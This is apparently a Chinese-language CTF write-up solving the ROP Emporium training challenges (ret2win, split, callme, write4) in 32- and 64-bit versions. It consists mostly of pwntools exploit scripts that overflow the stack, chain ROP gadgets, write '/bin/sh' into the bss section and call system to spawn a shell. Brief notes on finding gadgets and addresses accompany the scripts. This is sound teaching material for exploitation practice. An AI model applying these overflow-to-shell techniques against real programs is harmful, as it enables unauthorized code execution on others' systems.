简单的数据覆盖
exp
from pwn import *
sh = process('./ret2win32')
sys_addr = 0x8048659
payload = 'a' * (0x28 + 0x4)
payload += p32(sys_addr)
sh.sendline(payload)
sh.interactive()
和32位的一样
from pwn import *
sh = process('./ret2win')
bin_addr = 0x400811
payload = 'a' * 40
payload += p64(bin_addr)
sh.sendline(payload)
sh.interactive()
32位的程序执行完之后要有一个返回地址,可以随便给,64位就不行了,拼接payload 加一个返回地址就OK
exp
from pwn import *
sh = process('./split32')
elf = ELF('./split32')
sys_addr = elf.sym['system']
bin_addr = 0x804a030
payload = 'a' * (0x28 + 0x4)
payload += p32(sys_addr)
payload += p32(0)
payload += p32(bin_addr)
sh.sendline(payload)
sh.interactive()
64位的返回地址pop ret ; rdi
命令搜索ret地址:
ROPgadget --binary ./split --only "pop|ret"
exp
from pwn import *
sh = process('./split')
sys_addr = 0x4005e0
pop_rdi = 0x400883
bin_addr = 0x601060
#payload = 'a' * 40 + p64(pop_rdi) + p64(bin_addr) + p64(sys_addr)
payload = 'a' * 40
payload += p64(pop_rdi)
payload += p64(bin_addr)
payload += p64(sys_addr)
#print(payload)
sh.sendline(payload)
sh.interactive()
在题目文件中看到了libcallme.so,提示我们程序从共享库中导入了三个函数,我们可以使用命令来搜索下这三个函数的位置
rabin2 -i callme32 | grep callme
但是我复制了地址到IDA中搜索却找不到地址,看到IDA程序里的所有地址只有后面三位不同
我们搜索到的刚好只有后面三位,啊哈哈哈。我太菜了!!!
所以导入的三个函数的地址为
callme_one: 0x080485c0
callme_two: 0x08048620
callme_three: 0x080485b0
分别搜索下这三个地址,发现是可以的。并且这三个函数都要传入参数 1,2,3.通过调试程序可以知道程序的大概逻辑,callme_one函数用来读取加密的flag值,然后callme_two,callme_three用来解密,经过动态调试也能弄明白解密的方式,一位一位的进行异或,最后解密得到flag
exp
#encoding:utf-8
from pwn import *
sh = process('./callme32')
payload = 'a' * 44
# callme_one
payload += p32(0x080485c0)
payload += p32(0x080488a9)
#为了栈平衡,需要一个将出栈,所以要有pop;pop;pop;ret
#因为在程序中调用了callme_one,callme_two,callme_three所以需要保持栈平衡我们要选的pop地址为0x80488a9
payload += p32(0x1)
payload += p32(0x2)
payload += p32(0x3)
# 分析程序看到我们要传入1,2,3的值
# callme_two
payload += p32(0x08048620)
payload += p32(0x080488a9)
payload += p32(0x1)
payload += p32(0x2)
payload += p32(0x3)
# callme_three
payload += p32(0x080485b0)
payload += p32(0x080488a9)
payload += p32(0x1)
payload += p32(0x2)
payload += p32(0x3)
sh.sendline(payload)
sh.interactive()
64位程序不需要再去栈平衡,它会将参数按照顺序存放在寄存器中,这个程序和32位的程序逻辑一样,都是先callme_one读取加密的flag然后调用callme_two,callme_three来解密,将参数按照顺序存放在寄存器中,为使callme_three执行完后即可返回,所以我们要找一个 pop rdi ; pop rsi ; pop rdx; ret的gadgets.
rabin2 -i callme | grep callme
找到了导入的三个函数的地址,然后我们还要再找gadgets的地址
ROPgadget --binary ./callme --only "pop|ret"
exp
from pwn import *
sh = process('./callme')
# callme_one
payload = 'a' * 40
payload += p64(0x00401ab0)
payload += p64(0x1)
payload += p64(0x2)
payload += p64(0x3)
payload += p64(0x00401850)
# callme_two
payload += p64(0x00401ab0)
payload += p64(0x1)
payload += p64(0x2)
payload += p64(0x3)
payload += p64(0x00401870)
# callme_three
payload += p64(0x000401ab0)
payload += p64(0x1)
payload += p64(0x2)
payload += p64(0x3)
payload += p64(0x00401810)
sh.sendline(payload)
sh.interactive()
用IDA打开分析了之后发现有system函数,但是没有 /bin/sh 所以我的思路是将/bin/sh写入到程序中然后在调用system函数来执行/bin/sh,首先我们要查看一下程序内的权限。
readelf -S 文件名
我们看到bss段是有写权限的,所以我们就把/bin/sh写入到bss段
由于字节的原因我们要传入两次,所以选择构造的gadgets
ROPgadget --binary ./write432 --only 'mov|pop|ret'
exp
# encoding:utf-8
from pwn import *
sh = process('./write432')
bss_addr = 0x0804a040
sys_addr = 0x08048430
# 构造gadgets地址
mov_addr = 0x08048670
pop_addr = 0x080486da
payload = 'A' * 44
# 由于32为程序每次写入只能写入4个字节,而/bin/sh是7个,所以要分两次传入
payload += p32(pop_addr)
payload += p32(bss_addr)
payload += '/bin'
payload += p32(mov_addr)
# 由于第二次传入/sh是3个字节所以我在这里是传入的'//sh'
payload += p32(pop_addr)
payload += p32(bss_addr+4)
payload += '//sh'
payload += p32(mov_addr)
# 传入数据后调用system函数来执行 /bin/sh
payload += p32(sys_addr)
#32位要有一个返回地址
payload += p32(0)
payload += p32(bss_addr)
sh.sendline(payload)
sh.interactive()
64位的就直接将数据写入bss段即可
exp
#encoding:utf-8
from pwn import *
# 64位直接写入就ok
sh = process('./write4')
bss_addr= 0x0601060
sys_addr = 0x04005e0
pop_addr = 0x0000000000400890
mov_addr = 0x0000000000400820
pop_rdi = 0x0000000000400893
# 传入/bin/sh
payload = 'a' * 40
payload += p64(pop_addr)
payload += p64(bss_addr)
payload += '/bin//sh'
payload += p64(mov_addr)
# 调用system执行
payload += p64(pop_rdi)
payload += p64(bss_addr)
payload += p64(sys_addr)
payload += p64(0)
sh.sendline(payload)
sh.interactive()